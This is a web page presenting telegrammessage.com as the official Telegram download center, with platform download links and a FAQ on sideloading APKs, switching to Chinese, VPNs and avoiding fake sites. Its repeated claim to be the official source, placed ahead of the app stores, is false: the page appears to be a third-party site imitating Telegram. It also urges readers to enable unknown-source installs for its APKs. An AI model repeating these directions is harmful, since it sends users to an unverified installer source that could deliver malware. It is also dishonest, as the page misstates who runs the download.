Telegram Download

Telegram Download Center: Official Installers for Every Platform

Choose your device and get the official installer from telegrammessage.com, with support for Android, iPhone, desktop and the web version.

Telegram clients across all platforms

Stick to official installers: download from telegrammessage.com or the official store for each platform, and avoid third-party fake localized versions that lead to account theft.

Android

Supports direct APK install and Google Play
Download for Android

iPhone / iPad

App Store - supports iOS and iPadOS
Download for iOS

Windows / Linux

Native desktop client - portable version available
Download for Desktop

macOS

Native Mac client - supports Apple silicon
Download for macOS

Web Version

No install - log in directly in your browser
Open Web Version

How do I download the Telegram desktop version, and are there builds for both Windows and Mac?

Both exist. The official desktop version can be downloaded from this site telegrammessage.com; Windows supports 32-bit and 64-bit (and an install-free portable build),

Mac can be downloaded from this site or the Mac App Store, and Linux has a 64-bit build too (Flatpak/Snap). This site also shows a unified entry point for every platform. These are all open-source (GPL v3), reproducible-build official versions. Download only from these official entry points and do not trust copycat sites or third-party localized packages. After installing, go to the top-left menu > Settings > Language to choose Chinese directly (since April 2026 the official app has built-in Simplified and Traditional Chinese, so remember to update to the latest version first).

Which is the official Telegram download address, and how do I confirm it is not fake?

Your first choice is this site telegrammessage.com, which provides the desktop, macOS and other per-platform installers;

for mobile, search Telegram on the App Store for iPhone, and on Google Play for Android, or download the APK via this site. To confirm it is not fake: stick to this site domain and the official app stores, and watch out for phishing sites that fake a similar domain (swapped letters, missing letters, extra words, obscure suffixes, such as tgweb or telegrm.net). Telegram is open source with reproducible builds, so advanced users can verify the installer against the GitHub source to confirm it was not tampered with. Do not trust any localized or cracked version, as those often hide trojans.

Telegram desktop client

Where is the safest place to download the Telegram Android APK?

The two safest channels for Android: 1) search Telegram on Google Play and install directly; 2) download the official APK from this site telegrammessage.com.

Use only these two sources. Never get an APK from third-party download sites, forums, or so-called localized or cracked version links. Phishing trojans disguised as a Telegram Chinese language pack or localized package have appeared; once run they inject into processes, fetch a remote-control payload, log keystrokes, and steal accounts and payment information. To tell real from fake: stick to the official download entry points above and watch out for fake sites with swapped letters, missing letters or extra words. Telegram is open source with reproducible builds, so you can verify the installer against the GitHub source.

Will downloading the Telegram APK directly on Android infect my phone, and how do I judge safety?

An APK downloaded from official channels is safe: stick to the download entry point on this site telegrammessage.com, or just use Google Play.

Telegram is open source with reproducible builds, and the official installer can be verified against the GitHub source to confirm it was not tampered with, which is the hard way to confirm it is genuine. The risk lies in APKs from third-party sites: a Silver Fox phishing trojan disguised as a Telegram localized or Chinese version has appeared, and once run it injects into processes, downloads a remote-control payload, logs keystrokes, and steals accounts and payment information, while fake sites often use look-alike domains with swapped letters, missing letters or obscure suffixes. Bottom line: download only from this site or Google Play, and stay away from APKs and localized packages of unknown origin.

How do I verify that the Telegram I downloaded is the official genuine version and not phishing software?

A few hard checks: 1) download only from official entry points - the App Store, Google Play and this site telegrammessage.com (the desktop and Mac versions are all available on this site),

do not download from unfamiliar download sites in search results. 2) Check the domain; fake sites often disguise themselves with swapped letters, missing letters, repeated letters, obscure suffixes or extra words (such as tgweb or telegrm), so compare against this site domain character by character. 3) Telegram is open source with reproducible builds, so technically you can verify the installer against the official GitHub source to confirm it was not tampered with. 4) Never install any third-party package called a localized or Chinese-version client, as that is a hotspot for the Silver Fox trojan.

How big is the Telegram installer and how long does the download take?

Sorry, the available reliable sources do not list the exact installer size or download time for each platform, so this part needs to be verified in practice (it varies by version and platform).

What is certain is the download channels: for mobile, install directly from the App Store or Google Play, and the desktop and Mac versions can both be downloaded from this site telegrammessage.com. The desktop version also offers a Windows portable build. Please download only from these official entry points; download speed mainly depends on your network, not the installer itself.

The Telegram download is very slow and keeps getting stuck, how do I speed it up?

First separate downloading or installing the app being slow from receiving media inside the app being slow. If downloading the installer from the store or official site is slow, it is mainly the network, so try switching between WiFi and mobile data and toggling airplane mode to reconnect, then retry,

and stick to official entry points (App Store, Google Play, this site telegrammessage.com). If images and videos keep spinning inside Telegram while text is fine, it is not a connection problem but a download issue: go to Data and Storage, switch automatic media download to manual, clear the cache regularly, set auto-download video quality to standard or low, and switch to WiFi when the network is poor; that usually smooths things out a lot.

After getting a new phone, how do I re-download Telegram and restore my original account?

It is simple: Telegram chat history is in the cloud, so switching phones will not lose it. On the new phone, re-download from an official channel (App Store for iPhone,

Google Play or this site telegrammessage.com for Android), and at login enter your original phone number, after which Telegram sends a code. Note: if your old phone is still logged in to Telegram, the new phone login code is pushed to the in-app chat on the old phone rather than by SMS, so look there for the code. If you turned on two-step verification, you also enter the password you set, and after login your chats and groups sync back automatically.

Sources: Telegram Official App List · Telegram Official FAQ · Google Play Help Center

FAQ

The most frequently asked questions about downloading and installing Telegram; tap to expand for detailed answers.

Is the paper plane app the same as Telegram, and which one should I download?

The paper plane is just the Chinese nickname for Telegram (its icon is a paper plane), so it refers to Telegram itself. Be aware that there are some third-party paper-plane fork clients (unofficial apps). Since February 18, 2023 these unofficial clients can only receive login codes through Telegram and can no longer request SMS login, so their experience and security fall short of the official app. Download the official Telegram instead: search Telegram on the App Store for iPhone or Google Play for Android, or download the desktop version from this site telegrammessage.com. Do not install paper-plane installers or localized packages of unknown origin, and watch out for counterfeit trojans.

I cannot find Telegram in the App Store on my iPhone, how do I download it?

Not finding it usually means the App Store in your current region has removed it. The fix: switch your Apple ID to a country or region store that does not block Telegram (such as the United States or Hong Kong) and search again to download (verify in practice that you can switch to an account in that region). After installing, open and use it as usual. Be sure to download only from the official App Store, never look for an iOS installer on third-party websites or links, and especially do not touch any so-called localized version, as such files often hide phishing trojans that steal accounts and payment information. Sticking to the official source is what keeps you safe.

Can a Hong Kong iPhone download Telegram directly from the App Store?

Yes. The Hong Kong App Store does not block it, so just search Telegram and download the official app; installation is free and there is no need to change your Apple ID region. This is one of the official download channels (alongside this site telegrammessage.com and Google Play). Hong Kong can generally connect to Telegram directly and download and log in without a VPN. After downloading, update the app to the latest version; since April 2026 it has built-in Traditional and Simplified Chinese, so choose it under Settings > Language. Reminder: stick to the three official entry points of the App Store, Google Play and this site, and do not install Chinese-version clients of unknown origin or you may get a trojan.

Does downloading Telegram on a Taiwan iPhone require changing the Apple ID region?

No. The Taiwan App Store lists Telegram normally, so just search Telegram with your existing Taiwan Apple ID and download it; it is free with no region switch needed. This is one of the official download channels. Hong Kong and Taiwan generally connect to Telegram directly, so downloading and logging in usually need no VPN. After installing, update the app to the latest version; since April 17, 2026 Telegram has built-in Traditional Chinese, so go to Settings > Language and choose Traditional Chinese without looking for a third-party localized package. Download only from the App Store, Google Play or this site telegrammessage.com, and avoid fake sites.

How do I install the official Telegram installer on a Singapore Android phone?

Two official methods: first, open Google Play, search Telegram and install directly, which is free and easiest; second, download the official APK from this site telegrammessage.com and install it. Telegram is open source with reproducible builds, so the official installer can be verified against the GitHub source to confirm it was not tampered with. Singapore generally allows a direct connection, so downloading and logging in usually need no VPN. After installing, update the app to the latest version; since April 2026 it has built-in Simplified and Traditional Chinese, so choose it under Settings > Language. Be sure to use only the two official entry points of Google Play and this site; localized APKs from third-party sites often hide trojans, so do not install them.

Can a mainland China phone download and install Telegram, and is a VPN needed?

The app can be installed, but using it is essentially impossible without a VPN. Mainland app stores usually do not list it, so you can download the official installer (Android APK or desktop) from this site telegrammessage.com, while iPhone may need a non-mainland Apple ID. The key issue is that mainland carriers block Telegram at the network layer, so a direct connection usually fails, and after downloading you will almost always need a VPN to register, log in and message. Mainland +86 numbers also often fail to receive international verification SMS, so registration usually needs an overseas number. After installing, update the app to the latest version and choose Simplified Chinese under Settings > Language.

After downloading Telegram, how do I set the interface to Chinese?

Since April 17, 2026 Telegram has official built-in Simplified and Traditional Chinese, so you no longer need a third-party language pack. First update the app to the latest version, then: on mobile go to Settings > Language and choose Simplified Chinese or Traditional Chinese; on desktop or Mac, click the top-left menu > Settings > Language and choose Simplified or Traditional Chinese, and the app restarts automatically. The whole process needs no links. Switching the language does not affect your chat history or account security. Reminder: do not look for a localized package online, as that is a hotspot for phishing trojans, and the official built-in Chinese is more than enough.

Where do I add the Telegram Chinese language pack, and is it safe?

These days you basically do not need to add one. Since April 2026 Telegram officially has built-in Simplified and Traditional Chinese, so after updating to the latest version, go to Settings > Language and choose Chinese directly with no language-pack link needed. Early on you had to tap a community language-pack link (t.me/setlanguage/...) to localize, but those were unofficial user translations, and the web is full of Silver Fox phishing trojans disguised as localized packages that inject into processes, run remote control, log keystrokes and steal accounts and payment information. The safe approach: use the official built-in Chinese, and stop installing third-party language packs or localized clients of unknown origin.

Which website do I use to find the official link to download the iOS version of Telegram?

Your first choice for downloading is this site telegrammessage.com, where the download page shows the entry point for each platform; for iPhone you normally just search Telegram in the App Store (the download page also points to the App Store). Telegram is open source with reproducible builds, so the installer can be verified against the GitHub source to confirm it was not tampered with. Hong Kong and Taiwan generally allow a direct connection, so downloading usually needs no VPN. After installing and updating to the latest version, you get built-in Traditional and Simplified Chinese since April 2026, choosable under Settings > Language. Stick to this site and the App Store, and avoid look-alike phishing sites.

Does Telegram have an official Simplified Chinese version, or do I install a language pack myself?

There is official Simplified Chinese now, so you no longer install a language pack yourself. Since April 17, 2026 Telegram officially has built-in Simplified and Traditional Chinese interfaces. After updating the app to the latest version, on mobile go to Settings > Language and choose Simplified Chinese, and on desktop or Mac click the menu > Settings > Language and choose Simplified Chinese; the whole process needs no links or third-party packages. Early on you did have to tap a community language-pack link to localize, but those were unofficial translations and online localized packages often hide trojans, while the official built-in version now covers it, so there is no need to install a language pack of unknown origin.

After downloading Telegram it will not open and keeps spinning, what is the cause?

After the app installs, getting stuck on Connecting or spinning is most commonly a network or connection issue rather than the wrong version. Step-by-step troubleshooting: 1) switch networks first (toggle between WiFi and 4G/5G, or turn on airplane mode for a few minutes then reconnect); 2) if your location (mainland China, Vietnam and the like) blocks Telegram at the network layer, turn on a VPN or set up a SOCKS5 or MTProto proxy under Telegram built-in Use Proxy; 3) on desktop, a Connecting state often comes from the VPN client local port not matching the port filled in Telegram proxy, so align the ports; 4) always restart Telegram after setting up a proxy. Note: the built-in proxy only routes Telegram traffic, so a working browser does not mean Telegram can connect.

Is downloading Telegram free, or will I have to pay after downloading?

Completely free. The Telegram app itself is free to download and use from the App Store, Google Play and this site telegrammessage.com, you will not be charged after downloading, and downloading, registering and messaging are all free. Telegram is also open-source with reproducible builds, so installers from official channels can be verified against the GitHub source. Be wary of any download site that asks you to pay first or install an extra plugin before downloading; that is almost certainly a counterfeit phishing site, so ignore it and stick to the three official entry points above.

What is the difference between Telegram X and regular Telegram, and which should I download?

Sorry, the available reliable sources do not specifically compare the feature differences between Telegram X and regular Telegram, so this part needs to be verified in practice. The general understanding is: both are official products sharing the same account system, and Telegram X leans toward a lighter, more experimental experience. For most people, especially older relatives, downloading the regular Telegram is more dependable and has more tutorials. Whichever you choose, download only from official channels (App Store, Google Play, this site telegrammessage.com) and avoid copycat sites, so you do not install a fake phishing app.

Can an iPad download Telegram on its own, or can it only use the phone version?

It can download on its own. Search Telegram in the App Store on the iPad to install its iOS app directly, and log in with your phone number to the same account. Telegram supports the same account being logged in on multiple of your own devices at once, so the iPad and iPhone can be online at the same time with shared chat history. One reminder: the login code is sometimes pushed inside an already-logged-in Telegram chat on your other device rather than by SMS, so watch for that when looking for the code. Just download from the official App Store.

To download Telegram on a Mac, do I use the App Store or the official site?

Either works, and both are official channels. You can search Telegram in the Mac App Store to install it, or download the macOS version from this site telegrammessage.com. This site is the main download entry point, listing every platform. The Telegram desktop version is open source (GPL licensed) with reproducible builds, so it can be verified against the GitHub source. Either way, just stick to official entry points and do not download from sites of unknown origin, to avoid a fake phishing version.

After installing Telegram on Windows, how do I also set it to Chinese?

Since April 2026 Telegram has official built-in Simplified and Traditional Chinese, so setting the desktop version to Chinese is easy: first update the app to the latest version, click the top-left menu (three lines) > Settings > Language, choose Simplified Chinese or Traditional Chinese, and the app restarts automatically to finish the switch, with no links needed at any point. Note that you should download the installer from this site telegrammessage.com and not look for a third-party localized package; since the official app already has built-in Chinese, there is no need to risk installing a phishing trojan.

On Android, do I have to allow installs from unknown sources before installing the Telegram APK, and how do I enable it?

Yes, an official APK downloaded from the official site counts as an unknown-source install, so you must enable the permission first. Generally, under Settings > Apps / Security, find Install unknown apps / Allow from this source, enable it for the browser or file manager app you are installing from, then tap the downloaded Telegram APK to install (menu locations vary slightly across Android brands, so verify in practice). Be sure to download the APK only from this site telegrammessage.com; copycat sites fake a similar domain and hide phishing trojans, so do not download APKs from such places. After installing, it is safer to turn the unknown-source permission back off.

Can a HarmonyOS phone install Telegram, and where do I download it?

Sorry, the available reliable sources do not specifically cover installation on HarmonyOS, so this part needs to be verified in practice. General approach: if your HarmonyOS phone has Google services or a usable store, you can install via Google Play the same way as on Android; otherwise download the official APK from this site telegrammessage.com and install it after enabling the Install unknown apps permission (whether pure HarmonyOS NEXT is compatible with Android APKs needs to be verified in practice). Be sure to use only this site and never download APKs from copycat sites, to avoid phishing trojans.

Do the Xiaomi or Huawei app stores have a genuine Telegram I can download?

Honestly, the available reliable sources only confirm that the official download channels are this site telegrammessage.com, the App Store and Google Play, and do not cover whether Xiaomi or Huawei own app stores list a genuine version, so this part needs to be verified in practice. The most reliable approach is to stick to official entry points: on Android use Google Play, or download and install the official APK directly from this site. Be especially careful of fake apps with similar names in third-party stores; cases have appeared of look-alike domains and fake localized packages spreading phishing trojans, and downloading the wrong one can let it inject remote control and steal accounts and payment information. When in doubt, download only from this site.

I tapped the download button on the Telegram official site and nothing happened, what do I do?

First confirm you are on this site telegrammessage.com (note the many copycat phishing sites with swapped or missing letters, like telegrm.net, where buttons may be broken or hide trojans). From the per-platform entry points on this site you can pick your system directly: iPhone goes to the App Store, Android goes to Google Play or downloads the APK, and desktop downloads the desktop version. If a button does nothing, it is usually a browser popup block or a network restriction, so switch browsers, check whether you need to turn on a proxy or VPN first, then go straight to the matching page to download.